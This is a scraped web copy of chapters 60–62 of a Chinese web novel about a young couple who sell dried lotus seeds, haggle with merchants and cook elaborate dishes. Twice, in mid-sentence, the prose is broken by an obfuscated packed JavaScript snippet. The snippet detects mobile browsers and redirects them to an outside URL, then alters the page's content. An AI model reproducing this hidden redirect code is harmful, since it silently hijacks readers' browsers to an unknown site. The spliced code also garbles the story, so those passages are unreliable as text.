等两人到时，他身边已围满挑着担子的农人，显然，都是来他这兜售干莲子的，看着他脸上温和的笑容，平安心中却顿生股不详预感。 60. 杀鱼的第六十天 果不其然，等他们走近问价，今日这价格被他压到了十七文一斤。 若是全是自家的莲子也就罢了，平安的莲子大都是从村民手中收购，这一斤干莲成本已达十几文，她不过是赚个量大的差价。 明明昨日说好的是十九文，可见着人多，他便见利忘义，将价格压低，如此失信无德之人，早晚会给她挖更大的坑。 “怎么办，娘子？”木头小声问道。 “不去了。” “那咱们这莲子？” “再想想其他办法吧。” 除了外地的游商，愿意收购干莲子的便只有本地的干货铺子，可他们经营多年，往往都有稳定的进货渠道。 若想做他们的生意，怕也只能靠价格取胜，虽机会不大，但两人也只得硬着头皮问下去。 索性两人在这边也没怎逛过，也便趁着这个机会来看看汉云大市集的繁华。 两人带着莲子一路走走停停，与玉溪镇不同，这边无论是沿街铺面还是市集干货档口，都均有兜售莲子。 可他们要么不收，要么价格比游商还压得低。夫妻俩虽心中存着一丝侥幸，可当这份侥幸被现实打破，心中终归有些许失落。 平安瞧着，每被拒绝一次，木头的脸就要黯上几分。 若是他身后有条尾巴，那他一开始还算摇得欢快，这会已然是恹恹下垂，这样想来，平安便有些忍俊不禁。 “好了，没事。”平安拍了拍他后背，温声鼓励。 “哎！”木头重重叹了口气，随即恢复如常。 “没关系。”他背起莲子，拉着平安的手就往外走。 市集里人潮密集，迎着汹涌的人流往行走，难免与陌生人磕碰相撞。 这样多的人，不定有窃贼隐匿其中，平安下意识用手护住钱袋，一只手却突然落到肩上，吓得她蓦地挺直脊背。 余光一瞥，原来是木头伸手将她揽住，她这才将吊起的心收回原处。 “小心啊娘子。”察觉她的转变，木头挑眉粲笑。 平安微笑不语，只是作揽腰状伸手替他扶住背篓的框底。 两人具都身高体长，容貌俊俏，纵使穿行在嘈杂晦暗的市集之中，亦引得不少年轻男女驻足侧目。 “看什么看？”一年轻娘子狠狠揪住身侧郎君耳朵。 “你还说我，你自个不也看得挺带劲。”发觉两人投来的目光，那郎君脸色顿时通红，扭头羞窘反驳。 眼看那娘子又要扬声争执，木头听得是嘴角上扬，悄无声息地揽着平安加快前进步伐。 待人群渐散，他这才低声附耳唤道：“娘子。” “怎么了？” “没事，我就想喊喊你。”他晃了晃她的手，笑得一脸甜蜜。 看着他背后沉甸甸的背篓，平安试探道：“要不让我背一会吧？” 这话一出，木头顿时昂首挺胸，清嗓拍了拍心口：“娘子！这种粗活让我来，这可比徭役的担子轻多了。” 她就知道是这样，平安无奈，只得不时用手扶住框底替他减轻负重。 市集走出不远，便是汉云的正街，这条街宽近两丈，中间聚集了不少杂耍艺人，正引得民众纷纷驻足观看。 平安也拉着木头挤在人群外围看热闹。 这一个杂耍卖艺的戏班子人倒是不多，这会场上仅余下四人，两人在布置道具，一中年络腮男子与一不及他肩膀高的小娘子则并列站在中间，想来那络腮男子便是这班子的话事人。 他朝人群说了几句开场的奉承话后，便出其不意地拉住身旁小娘子的胳膊，直接咔嚓拽拉。 只听得一声惨叫，那小娘子胳膊便软绵绵耷拉下来。 人群霎时一片哗然，不知他们葫芦里在卖什么药。 那中年男子哈哈一笑，忙出声劝慰众人：“乡亲们不必害怕，你们可别看我身边这娘子小，可她实打实已过了双十年华，她身高模样瞧着与孩童无异，只是因着天生如此。” 平安瞧着，那娘子的脸确实比孩童要成熟，只是这套路，怎生有点熟悉。她捏紧钱袋，总觉得自己是否忘记了什么。 就在她沉思之际，场上男子已然将那小娘子胳膊接好。 接着那小娘子便动作灵巧地顶起盘子、纵身穿行竹圈表演起来，丝毫看不出受伤迹象。她杂耍技艺着实不错，引得众人连连叫好。 只是方才她明明受了这样严重的伤，这会身姿却依旧灵活，不少人心中依然存着疑问。 果不其然，那男子下一秒便将大伙心思道明，接着便从袖袋里掏出一个褐色的小瓷瓶。 听他宣扬这瓶子里的跌打损伤药物如何如何珍贵，效果又是有目共睹地神奇，许多人瞬间被这神奇药油吸引，纵使囊中羞涩，也依旧解囊求购。 可那人偏偏还吊起众人胃口，只道这药酒浸泡不易，里面的剧毒环蛇极其少见，这制好的药油自然也产量稀少。 “只不过。”他语调一转，“咱这汉云的父老乡亲实在热情好客，又极为捧场，实在让我们班子受宠若惊，我曾老五今日就算亏本，也要回馈诸位乡邻的热情与信任。” “班主，不成啊！”一旁的班子成员忙出言劝阻。 “哎！你别管。”那班主只是推开他，满脸歉笑地看向围观百姓。 此言一出，人群氛围愈发高涨，眼见着身侧的木头都跃跃欲试，平安忙一把拉住，小心将他带离人群。 “娘子？”木头不解问道。 “他们到每个地方都是这样的话术，咱可别被蒙骗。” “不信？”见木头眨了眨眼，却不言语，平安又拉着他回到街上。 那小罐药油这会卖得是如火如荼，那班主还将他们浸泡的药坛掀开给众人查看，里面竟真有不少毒蛇与药材。 待那闻味的药油伸到平安跟前，出乎她是意料，竟真让她嗅到了许多熟悉的中药味道，平安神色微凛，不由仔细端详起那戏班众人神情来。 “今日，不要千文，不要百文，不要二十文，只要十五文就能买到咱这百年秘制药油哟。”那班主眉飞色舞地吆喝，现场气氛愈发高涨。 木头方才还犹疑不定，可见着里面的那些药材，他便有些按捺不住，这班主好似也没撒谎啊。 他拉了拉平安衣袖，眼巴巴地盯着她瞧。 平安好笑地招了招手，那班主随即拿着药油乐呵向前。 “来两瓶。”平安取出铜子。 “好嘞！”班主笑得合不拢嘴，忙将药油递过。 “娘子？”木头惊诧回首。 平安伸手快速接过药油，笑着掀开闻了闻。 “走啦！”平安拍了拍他的肩，木头一脸迷惑地跟在后面。 “虽然他们宣传有些夸张，可这药油确实有些活血化瘀的作用，买来也不算太亏。”等身边安静，平安方压低声音解释。 一抬眸，便见木头那张俊脸上热汗直流，想来是背莲子负重所致。不忍再蹉跎他，平安拉着他往码头走，打算早早归家。 这会天色不早，他们也得早些回去核算莲子重量，给村里人算好当日工钱。 码头边依旧鱼腥味冲天，人来人往，热闹喧嚣，不少贸易仍在持续，买菜买杂货很是方便。 想起早上剩下的几个油饼，平安顺道买了一些松子、核桃，提上一块细嫩的肉，便准备往船泊靠之处赶去。 就在她转身之际，她却再度遇见昨日约好的另一个游商。 他今日满面红光，正在热情地吆喝收货，显然心情上好。 这可真是柳暗花明又一村，平安用手肘推了推木头，两人相视一笑，一块朝他走去。 这会码头附近的干莲子已然被先前那人收得差不了多少，见得平安两人过来，他端的是两眼放光。 显然，他对两人有些印象。 “张当家，今日可还收莲子？”木头扇了扇风，掐腰笑问。 “收，自然是是收。” 许是他有些焦急，仔细检查了莲子质量后，也就不再说虚话，直接按昨日说好的十九文将这些莲子全部收下。 他这样爽快，倒让木头在船上连连直呼后悔，只道今日应该多带些莲子出来才是。 今日两人一共带出一百斤干莲子，毛收入一千九百文，净利约莫在四五百文。 回想那些游商这两日收莲时的表情变化，平安心潮愈发澎湃，与此同时，她心中亦涌现一个大胆的想法。 在船上与木头相商过后，回到家中，平安便再向众人宣布，接下来几日，她会接着收莲子，有多少收多少，价格便还是按照之前的来。 粮贱伤农，平安自己深知耕作辛苦，也就不愿再行压低价格之事。 这莲子一年只有夏季这一茬，说起来产量比菱角、稻谷都不如，但是采摘照料一样不轻松。 “安安？”等人群散尽，胡水生望着孙女担忧唤道。 “爷爷，你放心。”平安将院门锁好，这才回到堂屋小声解释，“今年莲子丰收，新鲜莲子在咱镇上虽价格低廉，可是州县府城干莲子的行情很是不错，咱们若能趁着这个机会赚上几笔，那我们新房子的地基就有了着落。” “可是这么多，你怎么卖得完？” 是，平安在赌，她在赌接下来几日那些游商会继续大肆收购干莲子。 若是他们不收，她零卖、批发，或是自己寻去州府，总能将这莲子卖完。 可面上她也只能装作胸有成竹的笃定模样，免得爷爷为她担心。 按照先前船上两人商量好的说辞，木头忙出言安抚：“我帮娘子一起卖，爷爷您别担心。” 看了看倔驴似的孙女，胡水生哪还不明白这都是谁的主意，他轻笑一声：“罢了，总归莲子在这里。”就算搞砸，起码还剩下些货。既是孙女自己赚的钱，他也不想过多指摘。想通后，胡水生摆了摆手，便接着坐在那发黄的矮竹椅上编他的竹编。 “走。”望了眼外头的绚丽霞光，平安笑着拉着木头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818688|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就往灶房赶。 今日她打算做玉灌肺与小酥肉，这玉灌肺的准备工作可是个精细活，一人忙起来实在太慢。 平安将油饼、芝麻、核桃、松子、莳萝交给木头：“把核桃松子去了皮，一块研磨成粉末再给我。” “这简单。”木头自信昂首。 可第一步去核桃皮，木头便被烦得不行，他一会盯着手中干巴巴的核桃皮衣，一会偷偷朝灶台瞄上两眼。 看木头在低头忙活，平安也就不再管他。她取出那条纹理均匀，红白相间的漂亮雪花肉，将它用凉水搓洗后，逆着纹路切成大小均匀的肉条，而后改刀成寸许宽度的薄肉片。 这雪花肉本就细嫩，一头猪身上难遇着几个部位可出，这会切出来的肉也是红白相间，有着十分精致的纹理。 等平安将肉切好，却发现一旁的木头忙着忙着，早已带着碾子与盆跑到了堂屋，她擦了擦额间的汗，无奈地摇摇头。 除了去找爷爷搬救兵，她想不出别的可能。 她从橱柜中舀出豆粉与面粉备用，把切好的肉条拌入酱油、椒盐、姜片、蛋清抓匀腌制。 剩下的蛋黄则与豆粉、面粉一起搅匀成细腻光滑的粉糊。 用调羹轻轻舀上一勺粉糊，见粉糊滴落至盆中形成淡淡的纹路，但又不会立马消失。 如此，这粉糊的浓稠度便算适宜，炸制出来的酥肉也不易分散掉渣。 这会灶炉里仍有余温，平安用火钳搅出个空洞，丢进小把稻草和细柴吹气引燃。 “磨好了吗？”平安走到堂屋骤然出声，下得木头右手一颤，差点将石碾掉落在地。 “好了，好了。”木头端着盆凑近邀功，“娘子，你看，磨得又白又细。” 平安笑着接过，拍开他作乱的手：“去。”他却不管，顺道摸了一把后便乐颠乐颠抄起水瓢去院中浇水。 去皮的核桃、松子与油饼在木头的大力辗轧之下已然化为绵白细腻的膏粉，散发出一股醇厚扑鼻的坚果香，不论是模样还是味道，都与擂茶有些许相似。 平安将磨好的粉末少量多次掺入豆粉，慢慢揉搓成糕团。 添加这豆粉也得依经验掂量着来，若是掺得少，果仁香浓厚，但糕体却易松散，做出的菜品组织不够绵密，吸不得多少汤汁，口感自然不佳；可若是掺得多了，果仁香则变淡，做出来的玉灌肺又少了甘香底味。 若要保持果仁香气，又要使膏体不易松散，豆粉的比例至关重要，但若要说个具体的数，平安也道不出，一切全凭经验与手感。 待豆粉比例调好，做出来的玉灌肺容易成团，组织细密，又保留了果仁的清香，蘸起汤汁来那滋味才算过瘾。 将面团也不可直接食用，需得压制平整，入甑蒸熟后方可取用调味。 等待蒸制的时间，平安取茱萸油、蒜米、秘制辣酱、酱油，香葱调了个香辣酱汁做供。 将肉片沾满面糊，锅中下入宽油，依次下入肉条，小火慢炸。 肉片外边的粉糊遇热迅速定型，与此同时，肉片亦受热挥发变轻，金黄的酥肉条慢慢漂浮至油面。 将炸好的酥肉捞出控油，升高油温快速复炸。 这样做好的酥肉，外皮更加酥脆，也不易回潮发软。 平安拈上一根，吹凉后试味，外表酥脆，内里肉质细腻香醇，肉香、油香、酥香皆具，吃起来外酥里嫩，咸香适宜。既可蘸上椒盐、茴香粉末下饭，又可做小食零嘴解馋。 将锅中多余油水铲出，顺带将丝瓜削皮切块，下入姜末、蒜米入油锅爆香，随后倒水焖煮，出锅前撒上少许紫苏，一碗香浓滑软的紫苏丝瓜也做好。 忙完这些，平安从窗户往外看去，天上的霞光已然变为夺目的橘红，村中炊烟四起，连带着晚霞也似披上一层朦胧的白纱。 将盖子掀开，白雾瞬间冲面而来，甑中的团子变为淡淡的米黄色，轻轻按上去，绵软弹韧，已然是蒸熟蒸透。 将蒸熟的玉灌肺摊平放凉，切成肺片大小，尔后整齐分盘摆放。一半均匀撒上酱汁，一半撒上葱花后淋入一勺热卤，这两味香辣爽口的玉灌肺也已出炉。 一冷一热，虽皆是香辣，但一个卤香热辣，一个清凉爽口，风味却大不相同。 正经的灌肺属荤食，需用羊肺制作，常搭配浓郁酱汁调味。可民间亦流传有不少素灌肺做法，平安所做这道香辣玉灌肺，据那些北地游商所传，连官家都对此供赞不绝口。 官家此举虽有彰显俭朴美德之意，但柔软绵密、略带清香的素肺片吸满香辣咸香的汤汁，吃上一口，香浓的汤汁与馥郁的香味瞬间在唇齿之间爆发，味道也属实不错。 桌上菜色虽少，但有荤有素，酸辣鲜香皆有，可饱腹可下饭，倒也不算太寒酸。 爷爷与木头照例尝味后夸赞几句，接着便是闷头扒饭。一时间，桌上只余筷著相击声与沉闷的咀嚼声。 吃着吃着，木头突然兴致勃勃问起：“娘子，咱们家攒了多少银钱了？” 61. 杀鱼的第六十一天 这会桌上并无外人，平安也不必隐瞒，只小声道：“快二十贯了，爷爷你莫忧心。” 这一刻，屋内屋外的狗叫鸡鸣声在胡水生耳边嗡嗡作响，直激得他两眼发昏。 “这么多？”胡水生执筷之手瞬间停在半空，他不喜反忧，只盯着平安哑声叹道，“你这孩子可要踏实守法，莫要乱来呀！” 平安轻笑安抚：“爷爷您放心，最近档口生意好，都是卖鱼和鱼丸虾饼那些赚的。” 木头闻言嘿嘿一笑，亦连连附和：“正是正是，爷爷您莫担心。” “那就好。”胡水生顿了顿，叹了句，“那就好。” 说罢，他捏紧酒杯，扯了扯干枯的唇角：“我得多给你们捞些小虾备着。” 察觉爷爷语中的惊惶，平安忙出言安慰：“家中一直多亏爷爷照顾，档口那边的生意您不要担忧。咱们慢慢攒，若是不出意外，明年夏日咱们就可建个新房，让您享享福。” “就会哄我，你们俩平平安安就成。”胡水生笑着挥了挥手，将这个话题掀过。 虽然在爷爷面前两人都是一脸轻松，可关了门，回到房中，平安的心也不可避免地怦怦直跳。 “娘子，别愁了。”木头笑着搓了搓她的脸，“再愁眉苦脸下去可就变老了。” “那不是正好了你找个新的？”平安抬眸，正好与他低垂的眉眼对上。 “娘子怎知我心中所想？”木头挑眉坏笑，一把将她拉入怀中。 “惯是嘴贫。”平安锤了他心口一把，无奈轻笑。 屋内是阵阵细碎声语，窗外却蝉鸣蛙叫，花香满径，不时有点点碧绿萤火在丛中飞跃。 只听得咯噔一声轻响，整个小院霎时湮入黑暗之中，院中微弱的萤光顿时变得闪耀，仿若流星满天飘散。 伴随着清脆起伏的声声鸣叫与河边吹来的袅袅清风，喧嚣整日的月河村逐渐陷入沉睡。 昨日平安宣布收购莲子的消息，对月河村村民而言无异于一颗巨石砸向平静的湖面。 这下，不光村里人自个摸黑起早去莲塘摘莲蓬，连带着临近村落的亲戚都纷纷加入摘莲大军。 这样多的莲子，如果当日没有全部剥皮晾晒，势必会脱水变色。 平安让木头在档口守着，她则在家中收货，顺带监督检查莲子的品质。 “可是收莲子的胡娘子家？”有人挑着担子擦汗细问。 “哎，麻烦让让，让让。”这是提着莲肉要去别处晾晒的明伯。 看着眼前这人来人往的热闹场景，平安着实没有想到这会送莲子上门的人会这样多。 她将送来的莲子称重登记，只待莲子质量检查合格后再与他们销账。 钱款不能当日结清，平安也是经济所迫，只有这样，她手中的银钱才能转得更开。 眼见着院中莲子堆积如山，再想到大家剥莲子的速度，平安心中顿时发愁。她思来想去，只得再加上一条收莲的要求，哪家送莲子就得留人下来剥莲子，剥皮价格照样按一文一斤算。 只有这样，才勉强保证当日收的莲子可在当日剥出。 将剥莲子的人分散在村长、玉兰还有自家，又请玉兰伯娘和村长婆娘称重、做起了监工，如此晕头转向忙上半日，才总算将莲子的收购事宜安排清楚。 场地不够，这会也不需平安开口，来家中帮工的婶子娘子纷纷热情相邀，只道她们家门口有的是空地，只管去。 平安但笑不语，只请爷爷挑了几家老实本分的称完重后将莲子抬了过去。 等到那富商说的第三日，平安照例挑上两担莲子往汉云码头赶。她本想留木头在家帮爷爷把控局面，可他却道她一人去码头辛苦又危险，只一口咬定就要和她一起走。 这一次，那游商依旧在之前的收货位置。 他见着平安两人挑着担子前来，嘴上好话自是不少。 “哟，杨老板，胡娘子，久等久等啊！” “看来莫老板近日生意兴隆。”木头不着痕迹地挡在平安身前，笑着同他搭话。 莫老三轻轻摆手，笑道：“嗐，生意不过一般，只是幸得友商与熟客照拂，这才侥幸赚些跑腿费。” 说罢，他弯腰看起袋中的莲子来。 这莲子自然是晒得干燥白净，但凡在剥皮过程中产生了划痕掐痕的莲子，平安已让人另行筛选了出去。 能送到码头来的，颗颗圆润饱满，里面泛苦的莲子心也早在晒干前被顶针去除。 说起这莲子芯，在当地除了药铺会向农人收购外，不少茶馆酒楼亦有需求。 莲子芯清心去热，生津止渴，养心安神，在夏日是当地熬汤泡茶的圣品。 说起来，最近也快处理上千斤莲子，积攒下来的莲子芯炮制后卖出倒是一笔不菲的意外收入。 “不错。”莫老三伸手拨弄检查了一番，末了，他朝两人招了招手，压低声音问道，“你们家中还有多少？” “有。”木头正欲开口，却被平安拽手打断。 “还有一些，具体多少还得回去称重才晓得。” 莫老三打量两人一眼，眼珠一转，随即爽快笑道：“咱们也合作过好几回了，你们若是愿意，我便一次给你们全收了。”末了，他顿了顿，语调上扬：“只是，这价格。” 平安与他视线直直对上，只是一脸坦荡地望着他，将他眼角眉梢的细微动作瞧得是一清二楚。 莫老三双手抱胸，不自在地眨了眨眼睛，接着便清嗓回避她炽热的视线：“就要稍微低上一些。” “多低？”又来这套，平安心中不耐，遂开门见山，直接问道。 “十七。” 这人可真是贪心，平安朝木头使了个眼色，他当即领悟，将地上的麻袋拢起就要系绳。 “哎哎哎，有话好好说嘛！”莫老三拉住木头衣袖，笑得一脸灿烂。 “哎，我这夫君啊，是有点急性子，我们家离得远，他是想着早点回去干活呢。”平安笑着接话，不着痕迹地将木头拉回原地。 “正是，正是。”莫老三擦了擦额间的汗，讪笑出声，“咱这不是量大批发，有话好商量，好商量。” “您若诚心收，便按照之前的价格。”平安轻笑接话，见莫老三又要开口，她挥手制止，盯着他眼睛慢声顿道，“最近莲子的行情如何，大家心中都清楚。” 跟聪明人说话，有些话不必说得太透。 见他不自在地抿了抿唇，平安方接着笑道：“若是可以，明日早上您就能拿到最新的干货，这于咱们双方，都是互惠互利的好事。” “莫老板，您看如何？” 看着眼前这对一人唱红脸一人唱白脸的年轻小夫妻，莫老三只得将自己心中那些小九九暂时按捺在心间。 眼前这郎君提着麻袋虎视眈眈，他怕若是真谈崩，自己就失了这先机。 “原价，自是原价，先前是我脑子糊涂嘴瓢。” 商人逐利，利益面前，先前的小摩擦哪里算得了什么。 于是两边将莲子翻来覆去查看数遍，便将银钱结清，约定明日清早再来此地继续交易。 两人喜气洋洋在码头边闲逛，平安正愁今日晚膳做些什么好菜，就有农人提着一大网肥硕石蛙叫卖。 看着那麻麻赖赖的生物，木头止步不前，一脸为难地望向平安：“娘子，你买这作甚？” “吃啊。” 他当然知道，可，木头艰难地咽了咽口水，闭眼瞥头，努力控制自己别将视线放在那些难看的东西身上。 等到自家娘子提着一兜光溜溜的蛙肉踢了他小腿一脚，木头这才回过神来。 “娘子，好好地踢我作甚？”他揉了揉发痛的腿，脸上却是笑得谄媚。 “叫你半晌没反应，你看看我手上可还得闲？”平安一手提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850227|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着筒子骨，一手拎着蛙肉，转身笑问。 “来了来了。”木头上前自然接过她手中物什。 这会温度高，为着吃上新鲜菜，两人买上菜后也不再逗留，只一心往家中赶。 前些日子木头在船头望着河面游过的鱼连连感慨，爷爷便替他做了个长杆渔网放在船上。 一路上，两人交替行船，他竟也趁这个功夫捞上好几条鱼。 如此一来，他就愈发得劲，连带着平安一直划船之事也被他抛到脑后。 “小心！”平安划着划着，便惊觉船身晃悠，她下意识便伸手拉住身侧失控的源头。 等视线回笼，她这才发现木头已然半个身躯悬空船外，若不是她捞得及时，他今日怕是又要喝上几口河水。 “嘿嘿。”木头心有余悸地拍了拍心口，对着平安连连谄笑，“娘子，可多亏了你，嘿嘿。” 说罢，又兴致勃勃盯着河面瞧，俨然是比平安还要财迷的架势。 “注意安全！”见他丝毫不吸取教训，平安无奈叮咛。 “好嘞！”木头抄着竹竿乐声应诺。 有木头这个活宝在，行船路上平安从不怕枯寂，只是苦了消耗过度的嗓子，每日回家都恨不得喝上一碗甜蜜的罗汉果枇杷膏甜水来润润嗓。 处理好的石蛙肉质细腻，白里透红，不可食用的内脏与头部也早已去掉，平安回到家中也是省了事，只需用清水冲洗几遍，晾干后抹上细盐腌制。 一来可以让蛙肉更有底味，二来也可防止肉质松散，在炸制过程中掉落。 喊木头烧火，平安将两边锅都支起。一边放入水下入上午剩下的一些瑕疵莲子肉，一边则下入宽油，只待油热后慢慢炸制蛙肉。 随着稻草燃烧的噼里声响起，灶房内白雾渐升，熟悉的烟火气随着高高竖起的烟囱在村庄上空飘散。 水尚未沸腾，油温已至，平安用竹筷放入油锅中试探，见筷子周围已冒出细密的气泡，平安便将一半蛙肉倒入。 只听得滋滋声响，锅中瞬间油花四溅，平安后退一步，将锅盖快狠准扣下，溅油声顿时化为沉闷的噼里声。 做这蛙肉，只要温度控制得宜，不把蛙肉炸至焦黑。炸蛙肉不怕炸久，只怕未炸熟。 这会另一侧的水亦沸腾，则可下入薄油，将莲子肉入水汆熟。 听得油锅中动静渐消，平安将锅盖掀开，用筷子将蛙肉翻面。 雪白的蛙肉已然炸制得金黄发酥，只待两面炸透，便可捞出调味。 “木头。”平安用笊篱捞出莲子肉，“把这个捣成泥再给我。” “小事。”木头一手接过，还不忘在平安跟前表演个旋身耍帅。 仔细盯着灶火与油温，小心忙活两轮，平安总算将这些石蛙炸好。 被木头碾好的莲子泥这会也已然与糖、米粉粘合成团，上蒸笼蒸制。 等待炖锅中的骨汤胶质慢慢析出，平安在一旁不紧不慢地准备石蛙的配菜与调料。 姜蒜辣酱是桌中常客，紫苏与黄酒亦必不可少。 在平安看来，不拘是大江大河里的鱼虾河鲜，还是小溪石缝中的田螺蛙鳝，能赋予它们灵魂的香料，紫苏必须榜上有名。 正所谓：“有味使之出，无味使之入。”[1]正是紫苏在烹饪这些食材过程中的作用写照。 锅中去腥香料与酱油一同爆香，高温热油使得这些香料的芬芳瞬间升华，在灶台中散发着诱人的浓郁香气。 炸得四面金黄的蛙肉下入酱汁之中翻拌入味，待香气再度弥漫，则撒入紫苏提香。 待得蛙肉与紫苏碰撞的独特芳香传来，便是下入青瓜、昆布的好时机。 出锅之前，势必再舀入几勺骨头汤与少许黄酒盖盖小火慢煨。 如此，也能将蛙肉中的晦物彻底消杀，骨头汤的鲜香、黄酒的醇厚亦随着氤氲的热气慢慢焖入滑嫩的蛙肉之中。 62. 杀鱼的第六十二天 那边的紫苏石蛙用小火慢煨，这边的蒸笼已然冒出腾腾雾气。 平安将蒸盖掀开，一股清冽的莲子芳香瞬间传来。 做这莲糕，与之前的玉灌肺一样，在使米团成型的同时，亦需拿捏好米粉与莲子的配比。正宗的莲糕须得成团并隐有莲香，如此才可称得上莲之一字，故而时人皆以香为度区分辨别莲糕优劣。 新鲜出炉的莲糕雪白细腻，呈莲花状整齐摆放，这会随着渺渺雾气一起出炉，烟雾缭绕之中更显其色泽白皙，纹理匀细。 用手轻点莲糕表面，亦可感受到指腹间传来的绵软反馈。 将蒸笼换下，另起锅炒上一盘豆角，今日的菜便已备好。 这会紫苏石蛙的锅内亦煨得只余浅浅一层汤汁，蛙肉与配菜焖得甘旨肥浓，平安用广口砂钵盛出，炉灶里添上几块烧得通红的炭火，将砂钵放上用炭火余温继续慢煨。 吃这蛙肉，就得吃个热乎，凉则易失口感与味道。 闻着屋里传来的香味，木头光着膀子，脖子上架着条手巾便大咧咧走了进来。 “这么热？”平安随手从门后拿起蒲扇递给他。 “呼！”木头坐在凳上，拿着扇子连连扇来阵阵凉风。 待炭火的呛人烟味传来，他方停手笑道：“施水不累，可外边太阳都快把我晒伤了，娘子你瞧。”说罢，他将晒得通红的脖颈与胳膊抬给平安看。 当着爷爷的面，平安如何好说什么，只得应上一句：“哎，辛苦了，赶快洗洗手吃饭吧。” 木头先前虽看不上那石蛙，可他相信自家娘子的手艺。 更何况，这东西烹煮半晌，模样也与寻常鸡肉块无甚区别，看着远比鲜活时顺眼多了。 平安亦夹上一只石蛙入碗品尝，这蛙肉上肢虽无甚嚼头，可腿肉却格外肥硕。 经过热油烹炸，又经过高汤与黄酒焖煮，这会石蛙的腿肉轻轻一抿便滑嫩地化入口中，鲜肉炙灼的焦香与香料馥郁的油香在小小一块蛙肉之中融合。 与此同时，细嫩的肉质与鲜香的汤汁在舌尖同时绽放，只鲜美得人恨不得大快朵颐。 平安抬眸，正与木头惊艳的目光对上，两人抿唇相视一笑。 木头咽下口中的饭菜，这才惊讶叹道：“这蛙肉怎么那么像鸡肉。”他顿了顿，又摇头，“不，可比鸡肉还要嫩滑细腻。” “难得见你对肉质评价这样高。”平安好笑地夹起一只蛙，笑问，“你说得也没错，你可知它还有别名？” “什么别名？”木头歪头好奇问道。 “田鸡、山鸡都说得。” “有趣，看来前人都是尝了它的味，这才给它取的名。” 爷爷抿了小口药酒，亦笑着接话：“它们的别名可多了去了哟。” 见小俩口纷纷看向他，爷爷放下杯盏，用他那并不标准的官话解释：“咱们这还有句俗语，叫做石蛙麻公田鸡叫，杜鹃黄雀子规啼。” “说得就是它们的别称啰。” 看两人听得是满脸惊诧，他好笑地拿起筷著，继续吃了起来。 吃着香浓肥美的蛙肉，就着沾满浓郁汤汁的配菜下饭，等到饭后再喝上一碗清澈的骨头汤润胃，平安吃得十分满足。 饭了，一家人就着清香的莲糕喝茶聊天。 “安安，明日来送莲子的还继续收吗？” 空气中难得一片沉默。 “收吧，爷爷。”马无夜草不肥，人无横财不富[1]，要是靠着市集里贩鱼赚的差价，她不知要多久才能发个小财。 等太阳完全消失在地平线之中，天幕化为锦缎也难以织就的粉紫暮光，聒噪的蛙鸣声也为这个燥热的夜晚带来缕难得的清风。 次日一早，夫妻俩便在码头分道扬镳。 平安守店，木头则送莲子到码头。 说实话，若不是木头强求，她是真有些不放心他一人行船那么远，毕竟他这人做事向来不甚靠谱。 可既已将事情托付给他，平安也就不再纠结。 她利索将档口收拾干净，又把鱼儿分门别类放好。 四周的档口陆续挂起灯笼，见得平安一人出现在档口，一旁的方娘子忙笑着朝她招手：“过来。” “怎么了？”平安快步走近。 “过来。”方娘子拉着她小声往屋内走。 等走到安静角落，她方低声道：“你知道吗？” “什么？” “许娘子家的呀！” 平安瞬间领悟，她这是在说季泽的婚事，之前她只听了个囫囵，并不清楚其中真况，是以只是默默摇头。 方娘子嘿嘿一笑，凑身往她耳边低语：“季泽要成亲了，新娘据说是提辖家的小娘子喔。” 话了，她恍觉自己语调不妥，满是歉意看向平安：“咳，安。” “没事。”平安笑呵呵握住她的手，“我也好奇着哪家娘子能入他家法眼呢。” 方娘子松了口气，这才将她听到的逸闻接连吐露，平安这才知，原来那小娘子是庶出小娘所出，自幼养在嫡母名下，这会论起亲事来亦是十分大度，只道若是季泽若是有相好的丫头，婚后便给她提了姨娘。 这会许娘子和季泽哪还敢提许芳菲之事，只得一口回绝，顺带夸夸未来儿媳贤淑豁达。 哎，平安突然失神，这剧情可真有些熟悉。与之前爷爷给她看好的那家书生，不正是走的同样路数？ 听她讲了半晌八卦，直至方娘子档口有客上门，平安方回了鱼档。 “胡娘子，可是好久没见。”曹伯提着两个猪蹄，探身笑问。 “哎，曹伯。”平安擦了擦手，笑道，“今日可要来些什么？” “就等着你呢！”曹伯走进档口，点了条鲤鱼与鳜鱼，这才转身嘱咐，“好久未尝味，就想着你的鱼脍呢，至于这鳜鱼，我打算做一道松鼠鳜鱼，家中今日待客，就得麻烦胡娘子帮我片一下了。” “哎，好说，好说，您不必这样客气。” 平安将刀沾水，就着案板上的磨刀石便刷刷磨了起来。 伴随着阵阵尖锐的铮铮声响，砍刀与剔刀皆被磨得银光锃亮，迎光细看，刀锋上锐利的寒芒直灼得人眼睛发涩。 平安眨了眨眼睛，避开刀锋上的亮芒。 与松鼠鳜鱼的两面花刀不同，鱼脍本就是生食，片好后更易保存，平安便先将鲤鱼去鳞剖骨开始片肉。 不多时，翠绿的荷叶上已铺满片片薄如蝉翼的晶莹鱼脍。 透过薄韧细腻的鱼脍，还可依稀辨得荷叶上的稀疏纹路，一绿一白，颜色倒煞是好看。 将鱼脍包好，剩下的鳜鱼照样好处理。 小心避开鳜鱼背部的毒刺，平安动作利索地将它敲晕、刮鳞、取鳃。斜切剁下鱼头，鱼鳍保留做松鼠耳朵，而后沿着鱼骨将鱼肉从中间剖开而保持尾部不断，最终呈现扇柄式分叉结构。 